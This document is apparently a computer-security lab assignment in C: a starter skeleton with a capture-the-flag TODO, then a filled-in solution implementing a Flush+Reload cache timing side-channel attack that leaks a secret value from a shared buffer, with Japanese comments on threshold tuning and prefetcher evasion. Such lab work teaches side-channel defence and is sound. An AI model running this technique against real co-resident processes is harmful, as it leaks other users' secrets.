#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>

#include "util.h"


int main() {
    int flag = -1;

    // buf is shared between the attacker and the victim
    char *buf = allocate_shared_buffer();

    // [2.1] TODO: Put your capture-the-flag code here

    printf("Flag: %d\n", flag);

    deallocate_shared_buffer(buf);
    return 0;
}



#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include "util.h"

// Part 1で求めたキャッシュヒット/ミスの閾値(サイクル数)に合わせて調整してください
#define THRESHOLD 150

#define TRIALS 2000
#define DELAY_ITERS 1000

// Fisher-Yatesシャッフル: プリフェッチャー対策でreload順をランダム化する
void shuffle(int *arr, int n) {
    for (int i = n - 1; i > 0; i--) {
        int j = rand() % (i + 1);
        int tmp = arr[i];
        arr[i] = arr[j];
        arr[j] = tmp;
    }
}

int main() {
    int flag = -1;
    // buf is shared between the attacker and the victim
    char *buf = allocate_shared_buffer();

    // [2.1] Flush+Reload attack
    int hit_count[SEC_RANGE] = {0};
    int order[SEC_RANGE];

    srand(getpid());

    for (int trial = 0; trial < TRIALS; trial++) {
        // 1. Flush: すべての候補位置をキャッシュから追い出す
        for (int i = 0; i < SEC_RANGE; i++) {
            clflush((ADDR_PTR)(buf + i * ALIGN));
        }

        // 2. Wait: sleep()は使わず空ループでスピンし、
        //    victimがflag依存の読み込みをする時間を与える
        for (volatile int j = 0; j < DELAY_ITERS; j++) {}

        // 3. Reload: ランダム順に各候補をアクセスして時間計測
        for (int i = 0; i < SEC_RANGE; i++) order[i] = i;
        shuffle(order, SEC_RANGE);

        for (int k = 0; k < SEC_RANGE; k++) {
            int i = order[k];
            CYCLES t = measure_one_block_access_time((ADDR_PTR)(buf + i * ALIGN));
            if (t < THRESHOLD) {
                hit_count[i]++;
            }
        }
    }

    // 最もヒット回数が多かった候補を秘密のflagとする
    int best = 0;
    for (int i = 1; i < SEC_RANGE; i++) {
        if (hit_count[i] > hit_count[best]) {
            best = i;
        }
    }
    flag = best;

    // デバッグ用: 各候補のヒット回数を標準エラーに出力(不要なら消してOK)
    for (int i = 0; i < SEC_RANGE; i++) {
        fprintf(stderr, "candidate %2d: hits=%d / %d\n", i, hit_count[i], TRIALS);
    }

    printf("Flag: %d\n", flag);
    deallocate_shared_buffer(buf);
    return 0;
}